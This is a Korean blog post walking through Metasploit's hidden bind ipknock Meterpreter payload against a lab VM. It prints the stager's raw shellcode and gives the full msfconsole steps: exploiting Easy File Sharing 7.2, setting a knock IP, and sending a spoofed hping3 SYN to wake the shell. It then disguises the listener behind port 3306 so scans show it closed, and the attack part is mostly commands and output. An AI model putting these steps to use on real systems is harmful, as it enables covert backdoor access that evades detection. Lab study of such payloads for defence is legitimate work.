Metasploit ipknock를 이용한 hidden meterpreter shell

metasploit에서 payload에 대해 찾아보던 중 ipknock에 대한 내용을 보게되었습니다. 찾아보니 오래전부터 있던 기능이였는데, 잘 활용하면 재미있는 놀거리가 되겠더군요.

Matching Modules
================

   Name                                                        Disclosure Date  Rank    Description
   ----                                                        ---------------  ----    -----------
   payload/windows/dllinject/bind_hidden_ipknock_tcp                            normal  Reflective DLL Injection, Hidden Bind Ipknock TCP Stager
   payload/windows/meterpreter/bind_hidden_ipknock_tcp                          normal  Windows Meterpreter (Reflective Injection), Hidden Bind Ipknock TCP Stager
   payload/windows/patchupdllinject/bind_hidden_ipknock_tcp                     normal  Windows Inject DLL, Hidden Bind Ipknock TCP Stager
   payload/windows/patchupmeterpreter/bind_hidden_ipknock_tcp                   normal  Windows Meterpreter (skape/jt Injection), Hidden Bind Ipknock TCP Stager
   payload/windows/shell/bind_hidden_ipknock_tcp                                normal  Windows Command Shell, Hidden Bind Ipknock TCP Stager
   payload/windows/upexec/bind_hidden_ipknock_tcp                               normal  Windows Upload/Execute, Hidden Bind Ipknock TCP Stager
   payload/windows/vncinject/bind_hidden_ipknock_tcp                            normal  VNC Server (Reflective Injection), Hidden Bind Ipknock TCP Stager

오늘은 ipknock을 이용한 meterperter shell 사용과 그 원리에 대해 이야기할까 합니다.

What is ipknock?

Ipknock TCP Stager를 의미하며 이는 특정 IP에서 knock(노크)가 있어야만 쉘을 사용할 수 있게 구성된 payload 입니다. Metasploit에서 Socket 통신 시 Closed로 나타낼 수 있어 쉘을 숨길 수 있지요.

이전에 paranoid mode 글과 같이 쉘을 안전하게 사용하기 위한 방법 중 하나이지요.

  • https://www.hahwul.com/2016/07/metasploit-meterpreter-paranoid-mode.html

비슷한 개념으론 Port knocking이 있습니다. 이는 listen중인 closed 포트를 두고 특정 순서의 요청(노크)가 발생했을 때 정상 정상 연결을 허용해주죠. 방화벽 기능에서도 비슷한게 있는것으로 알고있습니다. 자세한 내용은 아래 링크 참고해주세요.

  • https://wiki.archlinux.org/index.php/Port_knocking

다시 본론으로 와서 동작 형태를 보면 ipknock payload는 exploit에 의해 실행되면 서비스에 기생하며 대기하고 있습니다.

대기중에 knock ip 로 지정한 ip에서 패킷을 수신해야만 기존에 지정한 meterpreter shell이 열리게 됩니다. 고로 패킷 수신전까지는 클라이언트 환경에서도 숨길 수 있고 bind 쉘을 경우 다른 공격자에 의해 발각될 확률 또한 확실히 줄여줍니다.

Code analysis

사실 ruby 코드 자체는 별다른게 없습니다.

      'Handler'       => Msf::Handler::BindTcp,
      'Convention'    => 'sockedi',
      'Stager'        =>
        {
          'RequiresMidstager' => false,
          'Offsets' =>
            {
              'LPORT'    => [ 193, 'n' ],
              'KHOST'    => [ 255, 'ADDR' ]
            },
          'Payload' =>
            # Length: 359 bytes
            "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b" +
            "\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c" +
            "\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52" +
            "\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20" +
            "\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac" +
            "\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75" +
            "\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3" +
            "\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff" +
            "\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68\x77" +
            "\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00" +
            "\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40" +
            "\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x31\xdb\x53\x68\x02" +
            "\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68\xc2\xdb\x37\x67\xff\xd5" +
            "\x6a\x01\x54\x68\x02\x30\x00\x00\x68\xff\xff\x00\x00\x57\x68\xf1" +
            "\xa2\x77\x29\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5\x53\xe8" +
            "\x1a\x00\x00\x00\x8b\x44\x24\x04\x8b\x40\x04\x8b\x40\x04\x2d\xc0" +
            "\xa8\x01\x21\x74\x03\x31\xc0\x40\x89\x45\x54\xc2\x20\x00\x53\x53" +
            "\x57\x68\x94\xac\xbe\x33\xff\xd5\x83\x7c\x24\x04\x00\x75\xcf\x40" +
            "\x75\x06\x53\x53\xeb\xe8\x74\xc6\x48\x57\x97\x68\x75\x6e\x4d\x61" +
            "\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x8b" +
            "\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5" +
            "\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5" +
            "\x01\xc3\x29\xc6\x75\xee\xc3"
        }
      ))

payload를 전달해줄뿐이니깐요. 이제 이 payload 가 굉장히 중요해지는데요, 아래 링크의 asm 파일로 행위를 볼 수 있습니다. 심지어 주석도 잘 되어있어서 딱 보면 아하 하실거에요.

  • https://raw.githubusercontent.com/rapid7/metasploit-framework/master/external/source/shellcode/windows/x86/src/block/block_hidden_bind_ipknock.asm

asm 코드를 보면 초기에 socket을 bind 한 후 아래 구간에서 검증을 진행하게 됩니다. KHOST로 지정한 IP가 맞는지 여부 확인 후 실제 쉘이 동작하는 socket으로 전환하죠.

초기 소켓 생성 구간

KHOST가 지정된 ip가 맞는지 검증

쉘 연결

ipknock payload를 이용하여 meterpreter shell 사용하기

ipknock로 검색하시면 여러개 나옵니다. 전 그 중에 meterpreter shell의 Hidden Bind Ipknock TCP Stager를 사용하도록 하죠. 일단 먼저 사용할 Exploit 부터 고르고..

HAHWUL > use exploit/windows/http/easyfilesharing_post 
HAHWUL exploit(easyfilesharing_post) > set RHOST 192.168.56.101
RHOST => 192.168.56.101

ipknock payload를 지정합니다.

HAHWUL exploit(easyfilesharing_post) > set PAYLOAD windows/meterpreter/bind_hidden_ipknock_tcp
PAYLOAD => windows/meterpreter/bind_hidden_ipknock_tcp

옵션을 보면 기존 payload 와 유사하지만 몇가지 항목이 더 있는 걸 알 수 있습니다. 옵션 중 KHOST는 knock를 받을 ip 주소입니다. KHOST로 부터 패킷 수신이 일어나야 쉘이 동작하게 됩니다.

HAHWUL exploit(easyfilesharing_post) > show options

Module options (exploit/windows/http/easyfilesharing_post):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST  192.168.56.101   yes       The target address
   RPORT  80               yes       The target port (TCP)

Payload options (windows/meterpreter/bind_hidden_ipknock_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   KHOST                      yes       IP address allowed
   LPORT     4444             yes       The listen port
   RHOST     192.168.56.101   no        The target address

Exploit target:

   Id  Name
   --  ----
   0   Easy File Sharing 7.2 HTTP

여기서 KHOST는 본인이 소유한 IP가 아니여도 사용이 가능합니다. IP Spoofing을 이용하면 아주 쉽죠. 임의의 IP 지정 후 hping 등을 이용해 spoofing 된 패킷을 던져 meterpreter를 활성화 할 수 있습니다. 공격을 수행해보면 session 이 맺어지지 않습니다.

HAHWUL exploit(easyfilesharing_post) > set KHOST 6.6.6.6
KHOST => 6.6.6.6
HAHWUL exploit(easyfilesharing_post) > exploit -z

[*] Started bind handler
[*] Exploit completed, but no session was created.

왜냐하면 아직 knock가 이루어지지 않았기 때문이죠. 현재 이 상태일 때 해당 포트는 closed 로 나타납니다.

HAHWUL exploit(easyfilesharing_post) > db_nmap -PN 192.168.56.101 -p 4444
[*] Nmap: Starting Nmap 7.01 ( https://nmap.org ) at 2017-09-08 14:10 KST
[*] Nmap: Nmap scan report for 192.168.56.101
[*] Nmap: Host is up (0.00064s latency).
[*] Nmap: PORT     STATE  SERVICE
[*] Nmap: 4444/tcp closed krb524
[*] Nmap: MAC Address: 08:00:27:69:14:FF (Oracle VirtualBox virtual NIC)
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 0.58 seconds

제가 KHOST로 지정한 6.6.6.6에서 패킷이 오기 전까지는 이 친구는 의미없는 포트가 되지요.

HAHWUL exploit(easyfilesharing_post) > hping3 -S -p 4444 192.168.56.101 -c 1
[*] exec: hping3 -S -p 4444 192.168.56.101 -c 1

--- 192.168.56.101 hping statistic ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 3.7/3.7/3.7 ms
HPING 192.168.56.101 (vboxnet0 192.168.56.101): S set, 40 headers + 0 data bytes
len=40 ip=192.168.56.101 ttl=128 DF id=3300 sport=4444 flags=RA seq=0 win=8192 rtt=3.7 ms

6.6.6.6이 아닌 ip에선 열심히 패킷을 보내도.. 의미가 없습니다. 그럼 이제 KHOST에서 knock를 해볼까요?

HAHWUL exploit(easyfilesharing_post) > hping3 -S -p 4444 192.168.56.101 -c 1 --spoof 6.6.6.6
[*] exec: hping3 -S -p 4444 192.168.56.101 -c 1 --spoof 6.6.6.6

--- 192.168.56.101 hping statistic ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 3.9/3.9/3.9 ms
HPING 192.168.56.101 (vboxnet0 192.168.56.101): S set, 40 headers + 0 data bytes
len=44 ip=192.168.56.101 ttl=128 DF id=3319 sport=4444 flags=SA seq=0 win=8192 rtt=3.9 ms

다시 nmap을 통해서 보면..

HAHWUL exploit(easyfilesharing_post) > db_nmap -PN 192.168.56.101 -p 4444
[*] Nmap: Starting Nmap 7.01 ( https://nmap.org ) at 2017-09-08 14:13 KST
[*] Nmap: Nmap scan report for 192.168.56.101
[*] Nmap: Host is up (0.00076s latency).
[*] Nmap: PORT     STATE SERVICE
[*] Nmap: 4444/tcp open  krb524
[*] Nmap: MAC Address: 08:00:27:69:14:FF (Oracle VirtualBox virtual NIC)
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 0.57 seconds

이제 open 되었습니다. handler를 통해 열려있는 bind 쉘로 연결하면 됩니다.

HAHWUL exploit(easyfilesharing_post) > use exploit/multi/handler 
HAHWUL exploit(handler) > set PAYLOAD windows/meterpreter/bind_tcp 
PAYLOAD => windows/meterpreter/bind_tcp

RPORT는 기본으로 4444가 맞춰져있으니 RHOST만 설정한 후 exploit 합니다.

HAHWUL exploit(handler) > set RHOST 192.168.56.101
RHOST => 192.168.56.101
HAHWUL exploit(handler) > exploit -z
[*] Exploit running as background job 0.

[*] Started bind handler
HAHWUL exploit(handler) >
[*] Sending stage (179267 bytes) to 192.168.56.101
[*] Meterpreter session 1 opened (192.168.56.1:46811 -> 192.168.56.101:4444) at 2017-09-08 14:14:41 +0900

HAHWUL exploit(handler) > 
HAHWUL exploit(handler) > 
HAHWUL exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > 
meterpreter > 
meterpreter > 

잘 되네욥 :)

Once more

사용자를 속이기 위해선 잘 알려진 포트를 활용합니다.

HAHWUL exploit(easyfilesharing_post) > set LPORT 3306
HAHWUL exploit(easyfilesharing_post) > exploit -z

[*] Started bind handler
[*] Exploit completed, but no session was created.

nmap -PN 192.168.56.101

Starting Nmap 7.01 ( https://nmap.org ) at 2017-09-08 14:55 KST
Nmap scan report for 192.168.56.101
Host is up (0.0012s latency).
Not shown: 989 filtered ports
PORT      STATE  SERVICE
80/tcp    open   http
135/tcp   open   msrpc
139/tcp   open   netbios-ssn
443/tcp   open   https
445/tcp   open   microsoft-ds
554/tcp   open   rtsp
2869/tcp  open   icslap
3306/tcp  closed mysql

역시나 Closed로 나타납니다. Exploit 진행해주고 윈도우에선 어떤 행위들이 나타나는지 지켜보면 payload 로드 시 33306 포트가 대기합니다. 다만 이 친구는 정상 연결을 허용하지 않아 Closed로 나타나게 되죠.

HAHWUL exploit(handler) > set LPORT 3306
LPORT => 3306
HAHWUL exploit(handler) > exploit -z
[*] Exploit running as background job 1.

[*] Started bind handler
HAHWUL exploit(handler) > [*] Sending stage (179267 bytes) to 192.168.56.101
[*] Meterpreter session 2 opened (192.168.56.1:44471 -> 192.168.56.101:3306) at 2017-09-08 15:03:30 +0900

IP Spoof된 SYN 요청 수신 시 정상 소켓 모드로 전환하고 쉘 연결을 대기합니다.

사실 크게 별다른건 없습니다.

Reference

  • https://www.rapid7.com/db/modules/payload/windows/meterpreter/bind_hidden_ipknock_tcp
  • https://wiki.archlinux.org/index.php/Port_knocking